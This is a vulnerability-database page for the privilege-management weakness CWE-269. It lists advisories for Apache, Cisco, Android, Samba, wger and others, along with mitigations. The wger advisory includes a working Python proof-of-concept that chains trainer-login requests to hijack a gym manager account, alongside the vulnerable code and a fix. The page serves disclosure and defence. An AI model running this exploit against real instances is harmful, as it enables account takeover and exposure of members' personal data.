CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
5683 vulnerabilities reference this CWE, most recent first.
GHSA-9PW3-5GGM-C92R
Vulnerability from github – Published: 2026-05-04 15:31 – Updated: 2026-05-04 21:30An escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allows local .htaccess authors to read files with the privileges of the httpd user.
Users are recommended to upgrade to version 2.4.67, which fixes this issue.
{
"affected": [],
"aliases": [
"CVE-2026-24072"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-04T13:16:00Z",
"severity": "HIGH"
},
"details": "An escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allows local .htaccess authors to read files with the privileges of the httpd user.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes this issue.",
"id": "GHSA-9pw3-5ggm-c92r",
"modified": "2026-05-04T21:30:24Z",
"published": "2026-05-04T15:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24072"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/04/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9Q3X-QQ6C-V6JX
Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2022-05-24 17:23Adobe Creative Cloud Desktop Application versions 5.1 and earlier have an insecure file permissions vulnerability. Successful exploitation could lead to privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2020-9671"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-17T00:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Creative Cloud Desktop Application versions 5.1 and earlier have an insecure file permissions vulnerability. Successful exploitation could lead to privilege escalation.",
"id": "GHSA-9q3x-qq6c-v6jx",
"modified": "2022-05-24T17:23:55Z",
"published": "2022-05-24T17:23:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9671"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/creative-cloud/apsb20-33.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9Q5M-WXJ9-8C2J
Vulnerability from github – Published: 2023-11-21 21:30 – Updated: 2023-11-21 21:30A vulnerability in the installer script of Cisco AppDynamics PHP Agent could allow an authenticated, local attacker to elevate privileges on an affected device.
This vulnerability is due to insufficient permissions that are set by the PHP Agent Installer on the PHP Agent install directory. An attacker could exploit this vulnerability by modifying objects in the PHP Agent install directory, which would run with the same privileges as PHP. A successful exploit could allow a lower-privileged attacker to elevate their privileges to root on an affected device.
{
"affected": [],
"aliases": [
"CVE-2023-20274"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-21T19:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the installer script of Cisco AppDynamics PHP Agent could allow an authenticated, local attacker to elevate privileges on an affected device.\n\n This vulnerability is due to insufficient permissions that are set by the PHP Agent Installer on the PHP Agent install directory. An attacker could exploit this vulnerability by modifying objects in the PHP Agent install directory, which would run with the same privileges as PHP. A successful exploit could allow a lower-privileged attacker to elevate their privileges to root on an affected device.",
"id": "GHSA-9q5m-wxj9-8c2j",
"modified": "2023-11-21T21:30:23Z",
"published": "2023-11-21T21:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20274"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-appd-php-authpriv-gEBwTvu5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9Q9Q-5RW5-GP2H
Vulnerability from github – Published: 2025-03-12 18:32 – Updated: 2025-03-14 18:30Xerox Desktop Print Experience application contains a Local Privilege Escalation (LPE) vulnerability, which allows a low-privileged user to gain SYSTEM-level access.
{
"affected": [],
"aliases": [
"CVE-2025-1984"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-428"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-12T16:15:20Z",
"severity": "MODERATE"
},
"details": "Xerox Desktop Print Experience application contains a Local Privilege Escalation (LPE) vulnerability, which allows a low-privileged user to gain SYSTEM-level access.",
"id": "GHSA-9q9q-5rw5-gp2h",
"modified": "2025-03-14T18:30:49Z",
"published": "2025-03-12T18:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1984"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Xerox-Security-Bulletin-XRX25-004-for-Xerox-FreeFlow-Print-Server-v7.pdf"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Xerox-Security-Bulletin-XRX25-006-for-Xerox-Desktop-Print-Experience.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9Q9R-C9RX-65R2
Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2022-05-24 17:17Privilege Escalation vulnerability in McAfee Exploit Detection and Response (EDR) for Mac prior to 3.1.0 Hotfix 1 allows a malicious script or program to perform functions that the local executing user has not been granted access to.
{
"affected": [],
"aliases": [
"CVE-2020-7288"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-08T13:15:00Z",
"severity": "MODERATE"
},
"details": "Privilege Escalation vulnerability in McAfee Exploit Detection and Response (EDR) for Mac prior to 3.1.0 Hotfix 1 allows a malicious script or program to perform functions that the local executing user has not been granted access to.",
"id": "GHSA-9q9r-c9rx-65r2",
"modified": "2022-05-24T17:17:31Z",
"published": "2022-05-24T17:17:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7288"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10317"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9QC3-99WR-X835
Vulnerability from github – Published: 2022-02-21 00:00 – Updated: 2022-04-14 00:00Pritunl Client through 1.2.3019.52 on Windows allows local privilege escalation, related to an ACL entry for CREATOR OWNER in platform_windows.go.
{
"affected": [],
"aliases": [
"CVE-2022-25372"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-20T20:15:00Z",
"severity": "HIGH"
},
"details": "Pritunl Client through 1.2.3019.52 on Windows allows local privilege escalation, related to an ACL entry for CREATOR OWNER in platform_windows.go.",
"id": "GHSA-9qc3-99wr-x835",
"modified": "2022-04-14T00:00:57Z",
"published": "2022-02-21T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25372"
},
{
"type": "WEB",
"url": "https://github.com/pritunl/pritunl-client-electron/commit/e16d47437f8ef62546aa00edb0d64be2a7d2205b"
},
{
"type": "WEB",
"url": "https://github.com/pritunl/pritunl-client-electron/blob/caa78d626198b6961f3f39eca2acd39064c2df96/CHANGES#L6"
},
{
"type": "WEB",
"url": "https://rhinosecuritylabs.com/penetration-testing/cve-2022-25372-local-privilege-escalation-in-pritunl-vpn-client"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QGM-VW7V-R25R
Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-03 21:34A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26. An app may be able to gain root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-43333"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T23:15:36Z",
"severity": "HIGH"
},
"details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26. An app may be able to gain root privileges.",
"id": "GHSA-9qgm-vw7v-r25r",
"modified": "2025-11-03T21:34:32Z",
"published": "2025-09-16T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43333"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125110"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Sep/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QJ5-FXQG-6G9P
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2024-04-22 18:30A flaw was found in the way samba handled file and directory permissions. An authenticated user could use this flaw to gain access to certain file and directory information which otherwise would be unavailable to the attacker.
{
"affected": [],
"aliases": [
"CVE-2020-14318"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-03T16:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the way samba handled file and directory permissions. An authenticated user could use this flaw to gain access to certain file and directory information which otherwise would be unavailable to the attacker.",
"id": "GHSA-9qj5-fxqg-6g9p",
"modified": "2024-04-22T18:30:46Z",
"published": "2022-05-24T17:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14318"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1892631"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00015.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202012-24"
},
{
"type": "WEB",
"url": "https://www.samba.org/samba/security/CVE-2020-14318.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QPR-VC49-HQG2
Vulnerability from github – Published: 2026-05-14 16:16 – Updated: 2026-05-14 16:16Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
Impact
Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.
How to fix
The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Suggested fix:
trainer_identity_pk = request.session.get('trainer.identity')
if not request.user.has_perm('gym.gym_trainer'):
if not trainer_identity_pk:
return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
if not original_trainer.has_perm('gym.gym_trainer'):
return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43978"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169\u2013178, the permission check uses an AND condition:\n\n```python\n# Line 169 \u2014 passes if EITHER condition is false\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\n# Line 173 \u2014 only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.manage_gym\u0027) or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer \u2192 regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session[\u0027trainer.identity\u0027]` is set. Line 169 evaluates:\n`not False AND not False` \u2192 the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = \u0027http://localhost:80\u0027\ns = requests.Session()\n\ndef whoami():\n r = s.get(f\u0027{BASE}/api/v2/userprofile/\u0027,\n headers={\u0027Accept\u0027: \u0027application/json\u0027})\n return r.json().get(\u0027username\u0027)\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"=\" * 55)\nprint(\" PoC: Trainer Login Privilege Escalation\")\nprint(\" wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# \u2500\u2500\u2500 STEP 1: Normal login as gym trainer \u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 1] Login as \u0027trainer1\u0027\")\nprint(\" trainer1 has ONLY \u0027gym.gym_trainer\u0027 permission\")\n\ns.get(f\u0027{BASE}/en/user/login\u0027)\ns.post(f\u0027{BASE}/en/user/login\u0027, data={\n \u0027username\u0027: \u0027trainer1\u0027,\n \u0027password\u0027: \u0027pass1234\u0027,\n \u0027csrfmiddlewaretoken\u0027: s.cookies[\u0027csrftoken\u0027],\n})\nprint(f\" Current user : {whoami()}\")\nprint(f\" Permission : gym.gym_trainer (NOT manage_gym)\")\n\n# \u2500\u2500\u2500 STEP 2: Legitimate trainer-login \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into \u0027regular1\u0027 (pk=4)\")\nprint(\" This is ALLOWED \u2014 trainer1 has gym_trainer permission\")\nprint(\" Side effect: session[\u0027trainer.identity\u0027] = trainer1_pk\")\n\ns.get(f\u0027{BASE}/en/user/4/trainer-login\u0027)\nprint(f\" Current user : {whoami()}\")\nprint(f\" Session flag : trainer.identity is now SET\")\n\n# \u2500\u2500\u2500 STEP 3: EXPLOIT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 3] EXPLOIT \u2014 now as \u0027regular1\u0027, call trainer-login for \u0027manager1\u0027 (pk=3)\")\nprint(\" regular1 has ZERO permissions\")\nprint(\" BUT session[\u0027trainer.identity\u0027] is set from Step 2\")\nprint(\" Line 169 check: `not has_perm() AND not session.get()` \u2192 BYPASSED\")\n\ns.get(f\u0027{BASE}/en/user/3/trainer-login\u0027)\nresult = whoami()\nprint(f\" Current user : {result}\")\n\n# \u2500\u2500\u2500 RESULT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n\" + \"=\" * 55)\nif result == \u0027manager1\u0027:\n print(\" RESULT : !! VULNERABLE !!\")\n print(\" trainer1 (gym_trainer) is now logged in as manager1\")\n print(\" manager1 has \u0027gym.manage_gym\u0027 \u2014 full gym admin access\")\nelse:\n print(\" RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n\u003cimg width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" /\u003e\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session[\u0027trainer.identity\u0027] is set, the entire permission check is skipped \u2014 allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169\u2013178):\n\n```\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get(\u0027trainer.identity\u0027)\n\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027):\n if not trainer_identity_pk:\n return HttpResponseForbidden()\n # Verify the original trainer in the session still holds the permission\n original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n if not original_trainer.has_perm(\u0027gym.gym_trainer\u0027):\n return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm(\u0027gym.gym_trainer\u0027) or trainer_identity_pk) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```",
"id": "GHSA-9qpr-vc49-hqg2",
"modified": "2026-05-14T16:16:30Z",
"published": "2026-05-14T16:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager"
}
GHSA-9QQ7-77WV-996X
Vulnerability from github – Published: 2022-01-15 00:01 – Updated: 2022-07-13 00:01In sendLegacyVoicemailNotification of LegacyModeSmsHandler.java, there is a possible permissions bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-9Android ID: A-185126319
{
"affected": [],
"aliases": [
"CVE-2021-39621"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-14T20:15:00Z",
"severity": "HIGH"
},
"details": "In sendLegacyVoicemailNotification of LegacyModeSmsHandler.java, there is a possible permissions bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-9Android ID: A-185126319",
"id": "GHSA-9qq7-77wv-996x",
"modified": "2022-07-13T00:01:37Z",
"published": "2022-01-15T00:01:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39621"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-01-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.